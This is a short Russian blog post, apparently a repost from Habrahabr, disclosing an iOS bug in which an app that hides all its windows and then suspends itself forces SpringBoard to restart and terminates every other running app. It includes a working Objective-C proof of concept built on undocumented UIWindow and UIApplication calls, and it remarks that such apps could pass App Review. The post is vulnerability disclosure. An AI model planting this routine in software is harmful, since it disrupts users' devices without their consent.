Программка из десятка строчек обрушает iOS

от автора

Вот вчера случайно наткнулся на такую уязвимость iOS. Проверено на iPhone 4 и 4S

Чтобы воспроизвести баг, который приводит к перезапуску SpringBoard’a (что в свою очередь приводит к прекращению работы всех запущенных пользователем приложений), нужно сделать всего две вещи:

  1. Скрыть все окна (т.е. объекты UIWindow) в приложении.
  2. Выйти из приложения


Вот пример простейшей программы, вызывающей перезапуск SpringBoard. Пункты 1 и 2 реализуются через недокументированные вызовы.

// Декларирую два недокументированных вызова в виде категорий, чтобы избавится от warning'ов // Можно и без них, но Xcode будет ругаться  @interface UIWindow (Undocumented) + (NSArray*) allWindowsIncludingInternalWindows: (BOOL)internalWindows onlyVisibleWindows:(BOOL)visibleWindows; @end  @interface UIApplication (Undocumented) - (void) suspend; @end  // Вот собственно суть уязвимости void RESPRING() {  	NSArray *allWindows = [UIWindow allWindowsIncludingInternalWindows:YES 													onlyVisibleWindows:NO]; 	 	for (UIWindow *window in allWindows) { 		window.hidden = YES; 	} 	 	[[UIApplication sharedApplication] performSelector:@selector(suspend) 											withObject:nil 											afterDelay:0]; } 

Более того, мне удалось воспроизвести этот баг и без использования недокументированных вызовов.

Обратите внмание на особенности:

  • Не требует Jailbreak’а
  • Для воспроизведения не требует нестандартных библиотек, фреймворков
  • Можно вызвать, не пользуясь недокументированными вызовами

Это означает что высока вероятность, что приложения, вызывающие перезагрузку SpringBoard (в том числе и аварийное завершение всех других приложений) могут без особых проблем пройти в App Review и попасть в AppStore.

ссылка на оригинал статьи http://habrahabr.ru/post/171825/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *